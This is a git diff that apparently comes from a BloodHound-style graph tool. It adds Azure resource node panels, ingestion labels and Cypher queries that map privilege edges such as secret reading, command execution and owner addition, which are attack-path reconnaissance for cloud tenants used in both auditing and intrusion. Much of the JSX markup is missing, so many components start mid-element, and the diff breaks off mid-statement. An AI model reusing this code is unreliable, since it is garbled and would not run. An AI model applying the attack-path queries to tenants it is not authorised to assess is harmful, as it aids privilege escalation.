+ + + + (c:AZFunctionApp {objectid:$objectid})' + } + end={label} + distinct + /> + (g)-[r1:AZWebsiteContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZFunctionApp {objectid:$objectid})' + } + end={label} + distinct + /> + (c:AZFunctionApp {objectid:$objectid}))' + } + end={label} + distinct + /> + +
+
+
+ +
+
+ ); +}; + +AZFunctionAppNodeData.propTypes = {}; +export default AZFunctionAppNodeData; diff --git a/src/components/SearchContainer/Tabs/AZGroupNodeData.jsx b/src/components/SearchContainer/Tabs/AZGroupNodeData.jsx index 2398d461e..d63304770 100644 --- a/src/components/SearchContainer/Tabs/AZGroupNodeData.jsx +++ b/src/components/SearchContainer/Tabs/AZGroupNodeData.jsx @@ -199,7 +199,7 @@ const AZGroupNodeData = () => { property='First Degree Object Control' target={objectid} baseQuery={ - 'MATCH p = (g:AZGroup {objectid: $objectid})-[r:AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZGlobalAdmin|AZGetCertificates|AZGetKeys|AZGetSecrets|AZVMAdminLogin|AZContributor|AZAvereContributor|AZUserAccessAdministrator|AZOwns|AZAddMembers|AZResetPassword|AZAppAdmin|AZCloudAppAdmin|AZVMContributor|AZAddSecret]->(n)' + 'MATCH p = (g:AZGroup {objectid: $objectid})-[r:AZAddMembers|AZAddOwner|AZAddSecret|AZAppAdmin|AZAvereContributor|AZCloudAppAdmin|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZOwns|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZVMAdminLogin|AZVMContributor]->(n)' } start={label} distinct @@ -208,7 +208,7 @@ const AZGroupNodeData = () => { property='Group Delegated Object Control' target={objectid} baseQuery={ - 'MATCH p = (g1:AZGroup {objectid: $objectid})-[r1:AZMemberOf*1..]->(g2:AZGroup)-[r2:AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZGlobalAdmin|AZGetCertificates|AZGetKeys|AZGetSecrets|AZVMAdminLogin|AZContributor|AZAvereContributor|AZUserAccessAdministrator|AZOwns|AZAddMembers|AZResetPassword|AZAppAdmin|AZCloudAppAdmin|AZVMContributor|AZAddSecret]->(n)' + 'MATCH p = (g1:AZGroup {objectid: $objectid})-[r1:AZMemberOf*1..]->(g2:AZGroup)-[r2:AZAddMembers|AZAddOwner|AZAddSecret|AZAppAdmin|AZAvereContributor|AZCloudAppAdmin|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZOwns|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZVMAdminLogin|AZVMContributor]->(n)' } start={label} distinct @@ -238,7 +238,7 @@ const AZGroupNodeData = () => { property='Explicit Object Controllers' target={objectid} baseQuery={ - 'MATCH p = (n)-[r:AZOwns|AZAddMembers]->(g:AZGroup {objectid: $objectid})' + 'MATCH p = (n)-[r:AZAddMembers|AZMGAddMember|AZMGAddOwner|AZOwns]->(g:AZGroup {objectid: $objectid})' } end={label} distinct @@ -247,7 +247,7 @@ const AZGroupNodeData = () => { property='Unrolled Object Controllers' target={objectid} baseQuery={ - 'MATCH p = (n)-[r:AZMemberOf*1..]->(g1:AZGroup)-[r1:AZOwns|AZAddMembers]->(g2:AZGroup {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid' + 'MATCH p = (n)-[r:AZMemberOf*1..]->(g1:AZGroup)-[r1:AZAddMembers|AZMGAddMember|AZMGAddOwner|AZOwns]->(g2:AZGroup {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid' } end={label} distinct diff --git a/src/components/SearchContainer/Tabs/AZKeyVaultNodeData.jsx b/src/components/SearchContainer/Tabs/AZKeyVaultNodeData.jsx index ec4e333b1..de52f9bfd 100644 --- a/src/components/SearchContainer/Tabs/AZKeyVaultNodeData.jsx +++ b/src/components/SearchContainer/Tabs/AZKeyVaultNodeData.jsx @@ -131,7 +131,7 @@ const AZKeyVaultNodeData = () => { property='Explicit Object Controllers' target={objectid} baseQuery={ - 'MATCH p = (n)-[r:AZOwns|AZUserAccessAdministrator|AZContributor]->(g:AZKeyVault {objectid: $objectid})' + 'MATCH p = (n)-[r:AZOwns|AZUserAccessAdministrator|AZContributor|AZKeyVaultKVContributor]->(g:AZKeyVault {objectid: $objectid})' } end={label} distinct @@ -140,7 +140,7 @@ const AZKeyVaultNodeData = () => { property='Unrolled Object Controllers' target={objectid} baseQuery={ - 'MATCH p = (n)-[r:AZMemberOf]->(g1)-[r1:AZOwns|AZUserAccessAdministrator|AZContributor]->(g2:AZKeyVault {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid' + 'MATCH p = (n)-[r:AZMemberOf]->(g1)-[r1:AZOwns|AZUserAccessAdministrator|AZContributor|AZKeyVaultKVContributor]->(g2:AZKeyVault {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid' } end={label} distinct diff --git a/src/components/SearchContainer/Tabs/AZLogicAppNodeData.jsx b/src/components/SearchContainer/Tabs/AZLogicAppNodeData.jsx new file mode 100644 index 000000000..037f4d00b --- /dev/null +++ b/src/components/SearchContainer/Tabs/AZLogicAppNodeData.jsx @@ -0,0 +1,151 @@ +import React, { useContext, useEffect, useState } from 'react'; +import clsx from 'clsx'; +import CollapsibleSection from './Components/CollapsibleSection'; +import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex'; +import NodeCypherLink from './Components/NodeCypherLink'; +import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink'; +import MappedNodeProps from './Components/MappedNodeProps'; +import ExtraNodeProps from './Components/ExtraNodeProps'; +import NodePlayCypherLink from './Components/NodePlayCypherLink'; +import { Table } from 'react-bootstrap'; +import styles from './NodeData.module.css'; +import { AppContext } from '../../../AppContext'; + +const AZLogicAppNodeData = () => { + const [visible, setVisible] = useState(false); + const [objectid, setObjectid] = useState(null); + const [label, setLabel] = useState(null); + const [domain, setDomain] = useState(null); + const [nodeProps, setNodeProps] = useState({}); + const context = useContext(AppContext); + + useEffect(() => { + emitter.on('nodeClicked', nodeClickEvent); + + return () => { + emitter.removeListener('nodeClicked', nodeClickEvent); + }; + }, []); + + const nodeClickEvent = (type, id, blocksinheritance, domain) => { + if (type === 'AZLogicApp') { + setVisible(true); + setObjectid(id); + setDomain(domain); + let session = driver.session(); + session + .run(`MATCH (n:AZLogicApp {objectid: $objectid}) RETURN n AS node`, { + objectid: id, + }) + .then((r) => { + let props = r.records[0].get('node').properties; + setNodeProps(props); + setLabel(props.name || props.azname || objectid); + session.close(); + }); + } else { + setObjectid(null); + setVisible(false); + } + }; + + const displayMap = { + objectid: 'Object ID', + }; + + return objectid === null ? ( +
+ ) : ( +
+
+
{label || objectid}
+ + +
+ + + + + (n)' + } + property={'Managed Identities'} + target={objectid} + /> + +
+
+
+ +
+ + + +
+ + + +
+ + +
+ + + + (c:AZLogicApp {objectid:$objectid})' + } + end={label} + distinct + /> + (g)-[r1:AZLogicAppContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZLogicApp {objectid:$objectid})' + } + end={label} + distinct + /> + (c:AZLogicApp {objectid:$objectid}))' + } + end={label} + distinct + /> + +
+
+
+ +
+
+ ); +}; + +AZLogicAppNodeData.propTypes = {}; +export default AZLogicAppNodeData; diff --git a/src/components/SearchContainer/Tabs/AZManagedClusterNodeData.jsx b/src/components/SearchContainer/Tabs/AZManagedClusterNodeData.jsx new file mode 100644 index 000000000..675d03e04 --- /dev/null +++ b/src/components/SearchContainer/Tabs/AZManagedClusterNodeData.jsx @@ -0,0 +1,154 @@ +import React, { useContext, useEffect, useState } from 'react'; +import clsx from 'clsx'; +import CollapsibleSection from './Components/CollapsibleSection'; +import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex'; +import NodeCypherLink from './Components/NodeCypherLink'; +import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink'; +import MappedNodeProps from './Components/MappedNodeProps'; +import ExtraNodeProps from './Components/ExtraNodeProps'; +import NodePlayCypherLink from './Components/NodePlayCypherLink'; +import { Table } from 'react-bootstrap'; +import styles from './NodeData.module.css'; +import { AppContext } from '../../../AppContext'; + +const AZManagedClusterNodeData = () => { + const [visible, setVisible] = useState(false); + const [objectid, setObjectid] = useState(null); + const [label, setLabel] = useState(null); + const [domain, setDomain] = useState(null); + const [nodeProps, setNodeProps] = useState({}); + const context = useContext(AppContext); + + useEffect(() => { + emitter.on('nodeClicked', nodeClickEvent); + + return () => { + emitter.removeListener('nodeClicked', nodeClickEvent); + }; + }, []); + + const nodeClickEvent = (type, id, blocksinheritance, domain) => { + if (type === 'AZManagedCluster') { + setVisible(true); + setObjectid(id); + setDomain(domain); + let session = driver.session(); + session + .run(`MATCH (n:AZManagedCluster {objectid: $objectid}) RETURN n AS node`, { + objectid: id, + }) + .then((r) => { + let props = r.records[0].get('node').properties; + setNodeProps(props); + setLabel(props.name || props.azname || objectid); + session.close(); + }); + } else { + setObjectid(null); + setVisible(false); + } + }; + + const displayMap = { + objectid: 'Object ID', + }; + + return objectid === null ? ( +
+ ) : ( +
+
+
{label || objectid}
+ + +
+ + + + + (sp1:AZServicePrincipal) OPTIONAL MATCH p2 = (n)-[:AZNodeResourceGroup]->(:AZResourceGroup)-[:AZContains]->(:AZVMScaleSet)-[:AZManagedIdentity]->(sp2:AZServicePrincipal) WITH COLLECT(sp1) + COLLECT(sp2) AS tempVar UNWIND tempVar AS ServicePrincipals RETURN COUNT(DISTINCT(ServicePrincipals))' + } + graphQuery={ + 'MATCH (n:AZManagedCluster {objectid: $objectid}) OPTIONAL MATCH p1 = (n)-[:AZManagedIdentity]->(sp1:AZServicePrincipal) OPTIONAL MATCH p2 = (n)-[:AZNodeResourceGroup]->(:AZResourceGroup)-[:AZContains]->(:AZVMScaleSet)-[:AZManagedIdentity]->(sp2:AZServicePrincipal) RETURN p1,p2' + } + /> + +
+
+
+ +
+ + + +
+ + + +
+ + +
+ + + + (c:AZManagedCluster {objectid:$objectid})' + } + end={label} + distinct + /> + (g)-[r1:AZManagedClusterContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZManagedCluster {objectid:$objectid})' + } + end={label} + distinct + /> + (c:AZManagedCluster {objectid:$objectid}))' + } + end={label} + distinct + /> + +
+
+
+ +
+
+ ); +}; + +AZManagedClusterNodeData.propTypes = {}; +export default AZManagedClusterNodeData; diff --git a/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx b/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx index ed8f16d27..361fa3035 100644 --- a/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx +++ b/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx @@ -106,13 +106,21 @@ const AZManagementGroupNodeData = ({}) => {
- +
(n:AZManagementGroup)' + } + distinct + /> + (n:AZSubscription)' @@ -120,7 +128,7 @@ const AZManagementGroupNodeData = ({}) => { distinct /> (n:AZResourceGroup)' @@ -128,10 +136,26 @@ const AZManagementGroupNodeData = ({}) => { distinct /> (n:AZVM)' + 'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZAutomationAccount)' + } + distinct + /> + (n:AZContainerRegistry)' + } + distinct + /> + (n:AZFunctionApp)' } distinct /> @@ -143,6 +167,46 @@ const AZManagementGroupNodeData = ({}) => { } distinct /> + (n:AZLogicApp)' + } + distinct + /> + (n:AZManagedCluster)' + } + distinct + /> + (n:AZVM)' + } + distinct + /> + (n:AZVMScaleSet)' + } + distinct + /> + (n:AZWebApp)' + } + distinct + />
diff --git a/src/components/SearchContainer/Tabs/AZResourceGroupNodeData.jsx b/src/components/SearchContainer/Tabs/AZResourceGroupNodeData.jsx index 8f8cd31a0..548f66289 100644 --- a/src/components/SearchContainer/Tabs/AZResourceGroupNodeData.jsx +++ b/src/components/SearchContainer/Tabs/AZResourceGroupNodeData.jsx @@ -74,26 +74,81 @@ const AZResourceGroupNodeData = () => {
- +
(n:AZVM)' + 'MATCH p=(o:AZResourceGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZAutomationAccount)' } - end={label} + distinct /> (n:AZKeyVault)' + 'MATCH p=(o:AZResourceGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZContainerRegistry)' + } + distinct + /> + (n:AZFunctionApp)' + } + distinct + /> + (n:AZKeyVault)' + } + distinct + /> + (n:AZLogicApp)' + } + distinct + /> + (n:AZManagedCluster)' + } + distinct + /> + (n:AZVM)' + } + distinct + /> + (n:AZVMScaleSet)' + } + distinct + /> + (n:AZWebApp)' } - end={label} distinct /> diff --git a/src/components/SearchContainer/Tabs/AZServicePrincipal.jsx b/src/components/SearchContainer/Tabs/AZServicePrincipal.jsx index bfda767a9..eb50eb8a9 100644 --- a/src/components/SearchContainer/Tabs/AZServicePrincipal.jsx +++ b/src/components/SearchContainer/Tabs/AZServicePrincipal.jsx @@ -148,6 +148,27 @@ const AZServicePrincipalNodeData = () => {
+ +
+
+ + + (n:AZServicePrincipal)' + } + start={label} + distinct + /> + +
+
+
+ +
+
@@ -157,7 +178,7 @@ const AZServicePrincipalNodeData = () => { property='First Degree Object Control' target={objectid} baseQuery={ - 'MATCH p = (g:AZServicePrincipal {objectid: $objectid})-[r:AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZGlobalAdmin|AZGetCertificates|AZGetKeys|AZGetSecrets|AZVMAdminLogin|AZContributor|AZAvereContributor|AZUserAccessAdministrator|AZOwns|AZAddMembers|AZResetPassword|AZAppAdmin|AZCloudAppAdmin|AZVMContributor|AZAddSecret]->(n)' + 'MATCH p = (g:AZServicePrincipal {objectid: $objectid})-[r:AZAddMembers|AZAddOwner|AZAddSecret|AZAppAdmin|AZAvereContributor|AZCloudAppAdmin|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZMGAddMember|AZMGAddOwner|AZMGAddSecret|AZMGGrantAppRoles|AZMGGrantRole|AZOwns|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZVMAdminLogin|AZVMContributor]->(n)' } start={label} distinct @@ -166,7 +187,7 @@ const AZServicePrincipalNodeData = () => { property='Group Delegated Object Control' target={objectid} baseQuery={ - 'MATCH p = (g1:AZServicePrincipal {objectid: $objectid})-[r1:AZMemberOf*1..]->(g2)-[r2:AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZGlobalAdmin|AZGetCertificates|AZGetKeys|AZGetSecrets|AZVMAdminLogin|AZContributor|AZAvereContributor|AZUserAccessAdministrator|AZOwns|AZAddMembers|AZResetPassword|AZAppAdmin|AZCloudAppAdmin|AZVMContributor|AZAddSecret]->(n)' + 'MATCH p = (g1:AZServicePrincipal {objectid: $objectid})-[r1:AZMemberOf*1..]->(g2)-[r2:AZAddMembers|AZAddOwner|AZAddSecret|AZAppAdmin|AZAvereContributor|AZCloudAppAdmin|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZMGAddMember|AZMGAddOwner|AZMGAddSecret|AZMGGrantAppRoles|AZMGGrantRole|AZOwns|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZVMAdminLogin|AZVMContributor]->(n)' } start={label} distinct @@ -196,7 +217,7 @@ const AZServicePrincipalNodeData = () => { property='Explicit Object Controllers' target={objectid} baseQuery={ - 'MATCH p = (n)-[r:AZOwns|AZAppAdmin|AZCloudAppAdmin]->(g:AZServicePrincipal {objectid: $objectid})' + 'MATCH p = (n)-[r:AZAddOwner|AZAddSecret|AZAppAdmin|AZCloudAppAdmin|AZMGAddOwner|AZMGAddSecret|AZOwns]->(g:AZServicePrincipal {objectid: $objectid})' } end={label} distinct @@ -205,7 +226,7 @@ const AZServicePrincipalNodeData = () => { property='Unrolled Object Controllers' target={objectid} baseQuery={ - 'MATCH p = (n)-[r:MemberOf*1..]->(g1)-[r1:AZOwns|AZAppAdmin|AZCloudAppAdmin]->(g2:AZServicePrincipal {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid' + 'MATCH p = (n)-[r:MemberOf*1..]->(g1)-[r1:AZAddOwner|AZAddSecret|AZAppAdmin|AZCloudAppAdmin|AZMGAddOwner|AZMGAddSecret|AZOwns]->(g2:AZServicePrincipal {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid' } end={label} distinct diff --git a/src/components/SearchContainer/Tabs/AZSubscriptionNodeData.jsx b/src/components/SearchContainer/Tabs/AZSubscriptionNodeData.jsx index 2e00152ab..85146a3b0 100644 --- a/src/components/SearchContainer/Tabs/AZSubscriptionNodeData.jsx +++ b/src/components/SearchContainer/Tabs/AZSubscriptionNodeData.jsx @@ -104,24 +104,40 @@ const AZSubscriptionNodeData = () => {
- +
(n:AZVM)' + 'MATCH p=(o:AZSubscription {objectid: $objectid})-[r:AZContains*1..]->(n:AZResourceGroup)' } distinct /> (n:AZResourceGroup)' + 'MATCH p=(o:AZSubscription {objectid: $objectid})-[r:AZContains*1..]->(n:AZAutomationAccount)' + } + distinct + /> + (n:AZContainerRegistry)' + } + distinct + /> + (n:AZFunctionApp)' } distinct /> @@ -133,6 +149,46 @@ const AZSubscriptionNodeData = () => { } distinct /> + (n:AZLogicApp)' + } + distinct + /> + (n:AZManagedCluster)' + } + distinct + /> + (n:AZVM)' + } + distinct + /> + (n:AZVMScaleSet)' + } + distinct + /> + (n:AZWebApp)' + } + distinct + />
diff --git a/src/components/SearchContainer/Tabs/AZTenantNodeData.jsx b/src/components/SearchContainer/Tabs/AZTenantNodeData.jsx index 95af255e6..f7fe9b427 100644 --- a/src/components/SearchContainer/Tabs/AZTenantNodeData.jsx +++ b/src/components/SearchContainer/Tabs/AZTenantNodeData.jsx @@ -89,18 +89,18 @@ const AZTenantNodeData = () => { (n:AZSubscription)' + 'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZManagementGroup)' } distinct /> (n:AZVM)' + 'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZSubscription)' } distinct /> @@ -112,6 +112,30 @@ const AZTenantNodeData = () => { } distinct /> + (n:AZAutomationAccount)' + } + distinct + /> + (n:AZContainerRegistry)' + } + distinct + /> + (n:AZFunctionApp)' + } + distinct + /> { distinct /> (n:AZUser)' + 'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZLogicApp)' + } + distinct + /> + (n:AZManagedCluster)' + } + distinct + /> + (n:AZVM)' + } + distinct + /> + (n:AZVMScaleSet)' + } + distinct + /> + (n:AZWebApp)' + } + distinct + /> + (n:AZApp)' + } + distinct + /> + (n:AZDevice)' } distinct /> @@ -136,6 +208,30 @@ const AZTenantNodeData = () => { } distinct /> + (n:AZRole)' + } + distinct + /> + (n:AZServicePrincipal)' + } + distinct + /> + (n:AZUser)' + } + distinct + /> @@ -164,6 +260,14 @@ const AZTenantNodeData = () => { } distinct /> + (o:AZTenant {objectid: $objectid})' + } + distinct + /> { + const [visible, setVisible] = useState(false); + const [objectid, setObjectid] = useState(null); + const [label, setLabel] = useState(null); + const [domain, setDomain] = useState(null); + const [nodeProps, setNodeProps] = useState({}); + const context = useContext(AppContext); + + useEffect(() => { + emitter.on('nodeClicked', nodeClickEvent); + + return () => { + emitter.removeListener('nodeClicked', nodeClickEvent); + }; + }, []); + + const nodeClickEvent = (type, id, blocksinheritance, domain) => { + if (type === 'AZVMScaleSet') { + setVisible(true); + setObjectid(id); + setDomain(domain); + let session = driver.session(); + session + .run(`MATCH (n:AZVMScaleSet {objectid: $objectid}) RETURN n AS node`, { + objectid: id, + }) + .then((r) => { + let props = r.records[0].get('node').properties; + setNodeProps(props); + setLabel(props.name || props.azname || objectid); + session.close(); + }); + } else { + setObjectid(null); + setVisible(false); + } + }; + + const displayMap = { + objectid: 'Object ID', + }; + + return objectid === null ? ( +
+ ) : ( +
+
+
{label || objectid}
+ + +
+ + + + + (n)' + } + property={'Managed Identities'} + target={objectid} + /> + +
+
+
+ +
+ + + +
+ + + +
+ + +
+ + + + (c:AZVMScaleSet {objectid:$objectid})' + } + end={label} + distinct + /> + (g)-[r1:AZVMContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZVMScaleSet {objectid:$objectid})' + } + end={label} + distinct + /> + (c:AZVMScaleSet {objectid:$objectid}))' + } + end={label} + distinct + /> + +
+
+
+ +
+
+ ); +}; + +AZVMScaleSetNodeData.propTypes = {}; +export default AZVMScaleSetNodeData; diff --git a/src/components/SearchContainer/Tabs/AZWebAppNodeData.jsx b/src/components/SearchContainer/Tabs/AZWebAppNodeData.jsx new file mode 100644 index 000000000..d9e6dbe3b --- /dev/null +++ b/src/components/SearchContainer/Tabs/AZWebAppNodeData.jsx @@ -0,0 +1,151 @@ +import React, { useContext, useEffect, useState } from 'react'; +import clsx from 'clsx'; +import CollapsibleSection from './Components/CollapsibleSection'; +import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex'; +import NodeCypherLink from './Components/NodeCypherLink'; +import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink'; +import MappedNodeProps from './Components/MappedNodeProps'; +import ExtraNodeProps from './Components/ExtraNodeProps'; +import NodePlayCypherLink from './Components/NodePlayCypherLink'; +import { Table } from 'react-bootstrap'; +import styles from './NodeData.module.css'; +import { AppContext } from '../../../AppContext'; + +const AZWebAppNodeData = () => { + const [visible, setVisible] = useState(false); + const [objectid, setObjectid] = useState(null); + const [label, setLabel] = useState(null); + const [domain, setDomain] = useState(null); + const [nodeProps, setNodeProps] = useState({}); + const context = useContext(AppContext); + + useEffect(() => { + emitter.on('nodeClicked', nodeClickEvent); + + return () => { + emitter.removeListener('nodeClicked', nodeClickEvent); + }; + }, []); + + const nodeClickEvent = (type, id, blocksinheritance, domain) => { + if (type === 'AZWebApp') { + setVisible(true); + setObjectid(id); + setDomain(domain); + let session = driver.session(); + session + .run(`MATCH (n:AZWebApp {objectid: $objectid}) RETURN n AS node`, { + objectid: id, + }) + .then((r) => { + let props = r.records[0].get('node').properties; + setNodeProps(props); + setLabel(props.name || props.azname || objectid); + session.close(); + }); + } else { + setObjectid(null); + setVisible(false); + } + }; + + const displayMap = { + objectid: 'Object ID', + }; + + return objectid === null ? ( +
+ ) : ( +
+
+
{label || objectid}
+ + +
+ + + + + (n)' + } + property={'Managed Identities'} + target={objectid} + /> + +
+
+
+ +
+ + + +
+ + + +
+ + +
+ + + + (c:AZWebApp {objectid:$objectid})' + } + end={label} + distinct + /> + (g)-[r1:AZWebsiteContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZWebApp {objectid:$objectid})' + } + end={label} + distinct + /> + (c:AZWebApp {objectid:$objectid}))' + } + end={label} + distinct + /> + +
+
+
+ +
+
+ ); +}; + +AZWebAppNodeData.propTypes = {}; +export default AZWebAppNodeData; diff --git a/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx b/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx index 60fdf15d1..a411c2829 100644 --- a/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx +++ b/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx @@ -143,6 +143,16 @@ const DatabaseDataDisplay = () => { index={index} label={'AZApp'} /> + + { index={index} label={'AZDevice'} /> - + { index={index} label={'AZKeyVault'} /> + + + { index={index} label={'AZVM'} /> + +
diff --git a/src/index.js b/src/index.js index 00f421f13..f6afa725d 100644 --- a/src/index.js +++ b/src/index.js @@ -208,6 +208,48 @@ global.appStore = { scale: 1.25, color: '#B18FCF', }, + AZContainerRegistry: { + font: "'Font Awesome 5 Free'", + content: '\uf49e', + scale: 1.25, + color: '#0885D7', + }, + AZAutomationAccount: { + font: "'Font Awesome 5 Free'", + content: '\uf085', + scale: 1.25, + color: '#F4BA44', + }, + AZLogicApp: { + font: "'Font Awesome 5 Free'", + content: '\uf0e8', + scale: 1.25, + color: '#9EE047', + }, + AZFunctionApp: { + font: "'Font Awesome 5 Free'", + content: '\uf0e7', + scale: 1.25, + color: '#F4BA44', + }, + AZWebApp: { + font: "'Font Awesome 5 Free'", + content: '\uf247', + scale: 1.25, + color: '#4696E9', + }, + AZManagedCluster: { + font: "'Font Awesome 5 Free'", + content: '\uf1b3', + scale: 1.25, + color: '#326CE5', + }, + AZVMScaleSet: { + font: "'Font Awesome 5 Free'", + content: '\uf233', + scale: 1.25, + color: '#007CD0', + }, AZKeyVault: { font: "'Font Awesome 5 Free'", content: '\uf023', diff --git a/src/js/newingestion.js b/src/js/newingestion.js index 7fb4f840d..3cc024c8e 100644 --- a/src/js/newingestion.js +++ b/src/js/newingestion.js @@ -52,7 +52,16 @@ export const AzureLabels = { ServicePrincipal: 'AZServicePrincipal', Owns: 'AZOwns', MemberOf: 'AZMemberOf', + WebApp: 'AZWebApp', + ContainerRegistry: 'AZContainerRegistry', + AutomationAccount: 'AZAutomationAccount', + LogicApp: 'AZLogicApp', + FunctionApp: 'AZFunctionApp', + ManagedCluster: 'AZManagedCluster', + NodeResourceGroup: 'AZNodeResourceGroup', + VMScaleSet: 'AZVMScaleSet', KeyVault: 'AZKeyVault', + KVContributor: 'AZKeyVaultKVContributor', ResourceGroup: 'AZResourceGroup', GetCertificates: 'AZGetCertificates', GetKeys: 'AZGetKeys', @@ -72,26 +81,59 @@ export const AzureLabels = { AvereContributor: 'AZAvereContributor', VMContributor: 'AZVMContributor', AddSecret: 'AZAddSecret', + AddOwner: 'AZAddOwner', ExecuteCommand: 'AZExecuteCommand', ResetPassword: 'AZResetPassword', AddMembers: 'AZAddMembers', GlobalAdmin: 'AZGlobalAdmin', PrivilegedRoleAdmin: 'AZPrivilegedRoleAdmin', PrivilegedAuthAdmin: 'AZPrivilegedAuthAdmin', + ApplicationReadWriteAll: 'AZMGApplication_ReadWrite_All', + AppRoleAssignmentReadWriteAll: 'AZMGAppRoleAssignment_ReadWrite_All', + DirectoryReadWriteAll: 'AZMGDirectory_ReadWrite_All', + GroupReadWriteAll: 'AZMGGroup_ReadWrite_All', + GroupMemberReadWriteAll: 'AZMGGroupMember_ReadWrite_All', + RoleManagementReadWriteDirectory: 'AZMGRoleManagement_ReadWrite_Directory', + ServicePrincipalEndpointReadWriteAll: 'AZMGServicePrincipalEndpoint_ReadWrite_All', + MGAddSecret: 'AZMGAddSecret', + MGAddOwner: 'AZMGAddOwner', + MGAddMember: 'AZMGAddMember', + MGGrantAppRoles: 'AZMGGrantAppRoles', + MGGrantRole: 'AZMGGrantRole', + WebsiteContributor: 'AZWebsiteContributor', + LogicAppContributor: 'AZLogicAppContributor', + AutomationContributor: 'AZAutomationContributor', + AKSContributor: 'AZAKSContributor' }; const AzurehoundKindLabels = { KindAZApp: 'AZApp', KindAZAppMember: 'AZAppMember', KindAZAppOwner: 'AZAppOwner', + KindAZAppRoleAssignment: 'AZAppRoleAssignment', KindAZDevice: 'AZDevice', KindAZDeviceOwner: 'AZDeviceOwner', KindAZGroup: 'AZGroup', KindAZGroupMember: 'AZGroupMember', KindAZGroupOwner: 'AZGroupOwner', + KindAZContainerRegistry: 'AZContainerRegistry', + KindAZContainerRegistryRoleAssignment: 'AZContainerRegistryRoleAssignment', + KindAZFunctionApp: 'AZFunctionApp', + KindAZFunctionAppRoleAssignment: 'AZFunctionAppRoleAssignment', + KindAZLogicApp: 'AZLogicApp', + KindAZLogicAppRoleAssignment: 'AZLogicAppRoleAssignment', + KindAZAutomationAccount: 'AZAutomationAccount', + KindAZAutomationAccountRoleAssignment: 'AZAutomationAccountRoleAssignment', + KindAZWebApp: 'AZWebApp', + KindAZWebAppRoleAssignment: 'AZWebAppRoleAssignment', + KindAZManagedCluster: 'AZManagedCluster', + KindAZManagedClusterRoleAssignment: 'AZManagedClusterRoleAssignment', + KindAZVMScaleSet: 'AZVMScaleSet', + KindAZVMScaleSetRoleAssignment: 'AZVMScaleSetRoleAssignment', KindAZKeyVault: 'AZKeyVault', KindAZKeyVaultAccessPolicy: 'AZKeyVaultAccessPolicy', KindAZKeyVaultContributor: 'AZKeyVaultContributor', + KindAZKeyVaultKVContributor: 'AZKeyVaultKVContributor', KindAZKeyVaultOwner: 'AZKeyVaultOwner', KindAZKeyVaultUserAccessAdmin: 'AZKeyVaultUserAccessAdmin', KindAZManagementGroup: 'AZManagementGroup', @@ -959,6 +1001,9 @@ export function convertAzureData(chunk) { case AzurehoundKindLabels.KindAZAppOwner: convertAzureAppOwner(item.data, data); break; + case AzurehoundKindLabels.KindAZAppRoleAssignment: + convertAzureAppRoleAssignment(item.data, data); + break; case AzurehoundKindLabels.KindAZDevice: convertAzureDevice(item.data, data); break; @@ -974,6 +1019,48 @@ export function convertAzureData(chunk) { case AzurehoundKindLabels.KindAZGroupOwner: convertAzureGroupOwners(item.data, data); break; + case AzurehoundKindLabels.KindAZContainerRegistry: + convertAzureContainerRegistry(item.data, data); + break; + case AzurehoundKindLabels.KindAZContainerRegistryRoleAssignment: + 